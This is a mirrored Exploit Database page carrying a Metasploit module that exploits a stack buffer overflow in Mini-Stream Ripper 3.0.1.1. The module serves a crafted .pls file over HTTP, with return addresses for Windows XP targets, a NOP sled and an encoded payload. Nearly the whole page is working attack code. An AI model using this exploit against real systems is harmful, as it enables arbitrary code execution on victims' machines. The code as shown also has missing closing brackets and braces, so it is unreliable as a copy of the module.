Mini-stream Ripper 3.0.1.1 – Local Buffer Overflow (Metasploit) (3)

Exploit Database
106 阅读

作者： Metasploit

日期： 2011-11-04
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/18082/

100

# $Id: mini_stream.rb 14155 2011-11-04 08:20:43Z sinn3r $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Mini-Stream 3.0.1.1 Buffer Overflow Exploit',

'Description' => %q{

This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1

By creating a specially crafted pls file, an an attacker may be able

to execute arbitrary code.

'License' => MSF_LICENSE,

'Author' =>

[

'CORELAN Security Team ',

'Ron Henry <rlh[at]ciphermonk.net>', # dijital1; Return address update

'Version' => '$Revision: 14155 $',

'References' =>

[

[ 'OSVDB', '61341' ],

[ 'URL', 'http://www.exploit-db.com/exploits/10745' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload' =>

{

'Space' => 3500,

'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",

'StackAdjustment' => -3500

'Platform' => 'win',

'Targets' =>

[

'Windows XP SP3 ENG',

{

'Ret'=> 0x7e429353,# 0x7e429353 JMP ESP - USER32.dll

'Offset' => 17417

}

[

'Windows XP SP2 ENG',

{

'Ret'=> 0x7c941eed,# 0x7c941eed JMP ESP - SHELL32.dll

'Offset' => 17417

}

]

'Privileged' => false,

'DisclosureDate' => 'Dec 25 2009',

'DefaultTarget' => 0))

register_options(

[

OptString.new('URIPATH',[ true,'The URI to use for this exploit', 'msf.pls'])

], self.class)

end

def on_request_uri(cli, request)

# Calculate the correct offset

host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

host << ":#{datastore['SRVPORT']}/"

offset = target['Offset'] - host.length

# Construct our buffer

sploit = rand_text_alpha(offset)

sploit << [target.ret].pack('V')

sploit << make_nops(32)

sploit << @p

print_status("Sending malicous payload #{cli.peerhost}:#{cli.peerport}...")

send_response(cli, sploit, {'Content-Type'=>'application/pls+xml'})

end

def exploit

@p = payload.encoded

super

end